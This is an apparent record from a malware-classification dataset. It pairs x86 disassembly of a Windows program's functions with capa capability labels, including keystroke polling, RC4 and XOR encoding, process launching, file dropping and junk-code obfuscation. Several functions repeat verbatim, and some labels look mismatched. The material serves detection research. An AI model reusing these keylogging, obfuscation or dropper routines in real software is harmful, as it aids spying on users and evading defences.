joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401ed5
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push ebx
push esi
push edi
push edx
call 0x401ed5
xor al, 0x28
push edi
inc esp
xchg byte [ebx], bh
pop edx
pop edx
jge 0x401eee
push esi
inc esi
dec esi
pop esi
jmp 0x401eee
mov ecx, 0x11
xor eax, eax
lea edi, [ebp - 0x54]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x54], 0x44
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
jle 0x401f1b
jg 0x401f1b
xor dl, byte [esi - 0x68]
adc al, 0x75
inc ebx
push edx
aaa
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x54]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x401f44
jmp 0x401fe5
push ecx
call fcn.00401f4f
and al, 0x47
invalid
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402100
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push ebx
push esi
mov esi, ecx
xor eax, eax
push edi
mov dword [ebp - 4], esi
mov dword [esi + 0x42c], eax
mov dword [esi + 0x430], eax
mov dword [esi + 0x434], eax
push eax
push ebx
push ecx
mov eax, 1
mov ebx, 2
inc eax
dec eax
inc ebx
dec ebx
pop ecx
pop ebx
pop eax
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x108]
push 0x104
lea edx, [ebp - 0x20c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetLongPathNameA]
lea edi, [ebp - 0x108]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xfffffffe
mov al, byte [ebp + ecx - 0x108]
lea ecx, [ebp + ecx - 0x108]
cmp al, 0x5c
jne 0x40218b
mov byte [ecx], 0
lea edi, [ebp - 0x108]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esi + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x208
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, dword [ebp - 4]
and ecx, 3
lea eax, [ebx + 0x220]
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
lea edi, [ebx + 0x220]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push ecx
mov ecx, 3
inc ecx
dec ecx
pop ecx
mov ecx, ebx
call fcn.00402400
mov ecx, dword [ebp + 0xc]
pop edi
pop esi
mov dword [ecx], eax
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4022b0
Capabilities:
Delete file
Move file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4030e0
push 0x4025e0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffffe8
push ebx
push esi
push edi
mov dword [ebp - 0x28], ecx
push edx
call 0x4022e2
xor al, 0x28
push edi
inc esp
xchg byte [ebx], bh
pop edx
pop edx
push 0
push 0x80
push 2
push 0
push 1
push 0x40000000
mov eax, dword [ebp - 0x28]
add eax, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffff
jne 0x402313
xor eax, eax
jmp 0x4023ec
mov dword [ebp - 0x1c], 0
mov dword [ebp - 4], 0
push ebx
call 0x40232a
xor al, 0x17
push eax
pop ebx
pop ebx
push 0
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 0x28]
mov eax, dword [edx + 0x428]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x402350
jmp 0x402377
je 0x402360
jne 0x402360
add al, byte [ebx]
adc dl, byte [ebx]
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax + 0x428]
cmp ecx, dword [ebp - 0x24]
je 0x402370
jmp 0x402377
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.00402385
jmp 0x402390
cmp dword [ebp - 0x1c], 0
je 0x4023d9
push 0
mov eax, dword [ebp - 0x28]
add eax, 0x220
push eax
call dword [sym.imp.MSVCRT.dll__access]
add esp, 8
cmp eax, 0xffffffff
je 0x4023bf
mov ecx, dword [ebp - 0x28]
add ecx, 0x220
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, dword [ebp - 0x28]
add edx, 0x220
push edx
mov eax, dword [ebp - 0x28]
add eax, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov dword [ebp - 0x1c], eax
je 0x4023e9
jne 0x4023e9
jmp 0x4023e9
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4022e2
Capabilities:
Delete file
Move file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4030e0
push 0x4025e0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffffe8
push ebx
push esi
push edi
mov dword [ebp - 0x28], ecx
push edx
call 0x4022e2
xor al, 0x28
push edi
inc esp
xchg byte [ebx], bh
pop edx
pop edx
push 0
push 0x80
push 2
push 0
push 1
push 0x40000000
mov eax, dword [ebp - 0x28]
add eax, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffff
jne 0x402313
xor eax, eax
jmp 0x4023ec
mov dword [ebp - 0x1c], 0
mov dword [ebp - 4], 0
push ebx
call 0x40232a
xor al, 0x17
push eax
pop ebx
pop ebx
push 0
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 0x28]
mov eax, dword [edx + 0x428]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x402350
jmp 0x402377
je 0x402360
jne 0x402360
add al, byte [ebx]
adc dl, byte [ebx]
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax + 0x428]
cmp ecx, dword [ebp - 0x24]
je 0x402370
jmp 0x402377
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.00402385
jmp 0x402390
cmp dword [ebp - 0x1c], 0
je 0x4023d9
push 0
mov eax, dword [ebp - 0x28]
add eax, 0x220
push eax
call dword [sym.imp.MSVCRT.dll__access]
add esp, 8
cmp eax, 0xffffffff
je 0x4023bf
mov ecx, dword [ebp - 0x28]
add ecx, 0x220
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, dword [ebp - 0x28]
add edx, 0x220
push edx
mov eax, dword [ebp - 0x28]
add eax, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov dword [ebp - 0x1c], eax
je 0x4023e9
jne 0x4023e9
jmp 0x4023e9
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x40232a
Capabilities:
Delete file
Move file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4030e0
push 0x4025e0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffffe8
push ebx
push esi
push edi
mov dword [ebp - 0x28], ecx
push edx
call 0x4022e2
xor al, 0x28
push edi
inc esp
xchg byte [ebx], bh
pop edx
pop edx
push 0
push 0x80
push 2
push 0
push 1
push 0x40000000
mov eax, dword [ebp - 0x28]
add eax, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffff
jne 0x402313
xor eax, eax
jmp 0x4023ec
mov dword [ebp - 0x1c], 0
mov dword [ebp - 4], 0
push ebx
call 0x40232a
xor al, 0x17
push eax
pop ebx
pop ebx
push 0
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 0x28]
mov eax, dword [edx + 0x428]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x402350
jmp 0x402377
je 0x402360
jne 0x402360
add al, byte [ebx]
adc dl, byte [ebx]
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax + 0x428]
cmp ecx, dword [ebp - 0x24]
je 0x402370
jmp 0x402377
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.00402385
jmp 0x402390
cmp dword [ebp - 0x1c], 0
je 0x4023d9
push 0
mov eax, dword [ebp - 0x28]
add eax, 0x220
push eax
call dword [sym.imp.MSVCRT.dll__access]
add esp, 8
cmp eax, 0xffffffff
je 0x4023bf
mov ecx, dword [ebp - 0x28]
add ecx, 0x220
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, dword [ebp - 0x28]
add edx, 0x220
push edx
mov eax, dword [ebp - 0x28]
add eax, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov dword [ebp - 0x1c], eax
je 0x4023e9
jne 0x4023e9
jmp 0x4023e9
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x402400
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x1c
push ebx
push esi
push edi
mov esi, ecx
mov dword [esp + 0xc], 0x4010ab
mov dword [esp + 0x10], 0x4010b7
mov dword [esp + 0x14], 0x4010c5
mov dword [esp + 0x18], 0x4010d6
mov dword [esp + 0x1c], 0x4010e5
mov dword [esp + 0x20], 0x401100
mov dword [esp + 0x24], 0x401111
lea edi, [esp + 0xc]
mov ebx, 7
mov eax, dword [edi]
push eax
call fcn.00402520
add esp, 4
add edi, 4
dec ebx
jne 0x402449
push 0x4010ab
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
mov dword [esi + 0x434], eax
je 0x40250a
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4010b7
push eax
call edi
mov ecx, dword [esi + 0x434]
push 0x4010c5
push ecx
mov dword [esi], eax
call edi
mov edx, dword [esi + 0x434]
push 0x4010d6
push edx
mov dword [esi + 4], eax
call edi
mov dword [esi + 8], eax
mov eax, dword [esi + 0x434]
push 0x4010e5
push eax
call edi
mov ecx, dword [esi + 0x434]
push 0x401100
push ecx
mov dword [esi + 0xc], eax
call edi
mov edx, dword [esi + 0x434]
push 0x401111
push edx
mov dword [esi + 0x10], eax
call edi
mov ecx, dword [esi]
mov dword [esi + 0x14], eax
test ecx, ecx
je 0x40250a
mov ecx, dword [esi + 4]
test ecx, ecx
je 0x40250a
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x40250a
mov ecx, dword [esi + 0xc]
test ecx, ecx
je 0x40250a
mov ecx, dword [esi + 0x10]
test ecx, ecx
je 0x40250a
test eax, eax
je 0x40250a
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x1c
ret
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x1c
ret
Function at 0x40ca40
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x46995b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0045e317
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40cac2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0045c08d
mov eax, dword [eax]
push 0x5581c0
push eax
call fcn.0044ee64
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0045e5a2
test bl, bl
je 0x40cac2
push 0x5581c0
lea ecx, [esp + 0xc]
call fcn.0045e932
push 0x55bd3c
lea ecx, [esp + 0xc]
call fcn.0045e932
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40cafe
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0045e5a2
jmp 0x40cbc9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40cb82
lea edx, [esp + 0x7c]
push 0x55bd38
push edx
call fcn.0044ee64
add esp, 8
test eax, eax
je 0x40cb82
lea eax, [esp + 0x7c]
push 0x55bd34
push eax
call fcn.0044ee64
add esp, 8
test eax, eax
je 0x40cb82
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40cb12
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0045e5a2
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40d3c0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40d422
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40d430
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4699db
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x5621e0]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40d568
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40d496
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045e5a2
xor eax, eax
jmp 0x40d5df
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0045e6df
push esi
lea ecx, [esp + 0xc]
call fcn.0045e96e
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40d5bd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SysReAllocString
call fcn.0040d3c0
test eax, eax
jne 0x40d5bd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocString
mov ecx, edi
call fcn.0040d3c0
test eax, eax
jne 0x40d5bd
lea eax, [esp + 0x14]
push 0x55bd50
push eax
call fcn.0044ff70
mov esi, eax
add esp, 8
test esi, esi
jne 0x40d59c
lea ecx, [esp + 0x14]
push 0x55bd4c
push ecx
call fcn.0044fef0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40d59c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40d59f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0045e68f
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40d4ae
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045e5a2
xor eax, eax
jmp 0x40d5df
mov byte [esi], 0
push 0x55bd48
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0045e5a2
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x41f4a0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41f50e
cmp si, 0x69
ja 0x41f50e
add esi, 0xffd0
cmp si, 0x11
je 0x41f4de
push 0x11
call edi
test ax, ax
jge 0x41f4de
or esi, 0x2000
cmp si, 0x10
je 0x41f4f3
push 0x10
call edi
test ax, ax
jge 0x41f4f3
or esi, 0x4000
cmp si, 0x12
je 0x41f508
push 0x12
call edi
test ax, ax
jge 0x41f508
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41f51b
mov esi, 0xbd
jmp 0x41f4cf
cmp si, 0x6e
jne 0x41f528
mov esi, 0xbe
jmp 0x41f4cf
cmp si, 0x6f
jne 0x41f4c9
mov esi, 0xbf
jmp 0x41f4cf

Function at 0x420ce0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x572880]
xor edx, edx
cmp eax, edx
jne 0x420d06
xor eax, eax
mov byte [eax + 0x572780], al
inc eax
cmp eax, 0x100
jl 0x420cee
mov dword [0x572880], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x572780
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x420d97
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x420d6a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x420d38
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x420e10
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x420e63
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x420e4a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4278a0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x427a38
cmp ebp, ebx
jle 0x427a38
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x4278fe
dec eax
or eax, 0xfffffff8
inc eax
je 0x427905
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x427914
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x42791b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.0045e2e3
add esp, 4
cmp eax, ebx
je 0x42793c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.0045e2e3
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x427a2e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x427a15
mov al, byte [edx]
cmp al, 0xc0
jbe 0x427a01
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x4279f6
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x427a04
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x427a04
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x4279a0
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x427991
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x42aaa0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x46b088
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x42aad9
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.00465cba
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.00465d06
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.0042ab60
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.00465d43
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
Function at 0x42f000
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x46b818
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x54
mov eax, dword [esp + 0x74]
mov edx, dword [esp + 0x6c]
push esi
mov esi, ecx
mov ecx, dword [esp + 0x74]
push edi
push eax
mov eax, dword [esp + 0x74]
push ecx
push edx
lea ecx, [esp + 0x14]
push eax
push ecx
mov ecx, esi
call fcn.0042fb80
lea edx, [esp + 0x18]
push eax
push edx
call dword [sym.imp.USER32.dll_CopyRect]
mov eax, dword [esp + 0x18]
xor edi, edi
xor ecx, ecx
cmp eax, edi
setl cl
dec ecx
xor edx, edx
and ecx, eax
mov eax, dword [esp + 0x1c]
cmp eax, edi
mov dword [esp + 0x18], ecx
setl dl
dec edx
and edx, eax
lea eax, [esp + 0x18]
push eax
mov dword [esp + 0x20], edx
call dword [sym.imp.USER32.dll_IsRectEmpty]
test eax, eax
je 0x42f0a9
mov eax, dword [esp + 0x6c]
push ebx
mov ebx, eax
xor ecx, ecx
xor edx, edx
xor esi, esi
mov dword [ebx], ecx
mov dword [ebx + 4], edx
mov dword [ebx + 8], esi
mov dword [ebx + 0xc], edi
pop ebx
pop edi
pop esi
mov ecx, dword [esp + 0x54]
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14
lea ecx, [esp + 8]
push ecx
mov ecx, esi
call fcn.0042ec90
mov edx, eax
mov eax, dword [edx]
mov ecx, dword [edx + 4]
push ecx
push eax
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.USER32.dll_OffsetRect]
push edi
lea ecx, [esp + 0x4c]
call fcn.00464f6b
mov ecx, dword [esi + 0x5c]
mov edx, dword [esi + 0x58]
push ecx
lea eax, [esp + 0x4c]
push edx
push eax
mov dword [esp + 0x70], edi
call fcn.0043e490
mov edx, dword [esp + 0x5c]
add esp, 0xc
lea ecx, [esp + 0x18]
push 2
push ecx
push edx
call dword [sym.imp.GDI32.dll_LPtoDP]
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x38]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
lea edx, [esp + 0x38]
lea eax, [esp + 0x18]
push edx
lea ecx, [esp + 0x2c]
push eax
push ecx
call dword [sym.imp.USER32.dll_IntersectRect]
mov esi, dword [esp + 0x6c]
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
mov edx, esi
mov dword [esp + 0x64], 0xffffffff
mov dword [edx], eax
mov eax, dword [esp + 0x30]
mov dword [edx + 4], ecx
mov ecx, dword [esp + 0x34]
mov dword [edx + 8], eax
mov dword [edx + 0xc], ecx
lea ecx, [esp + 0x48]
call fcn.00464fdd
mov ecx, dword [esp + 0x5c]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14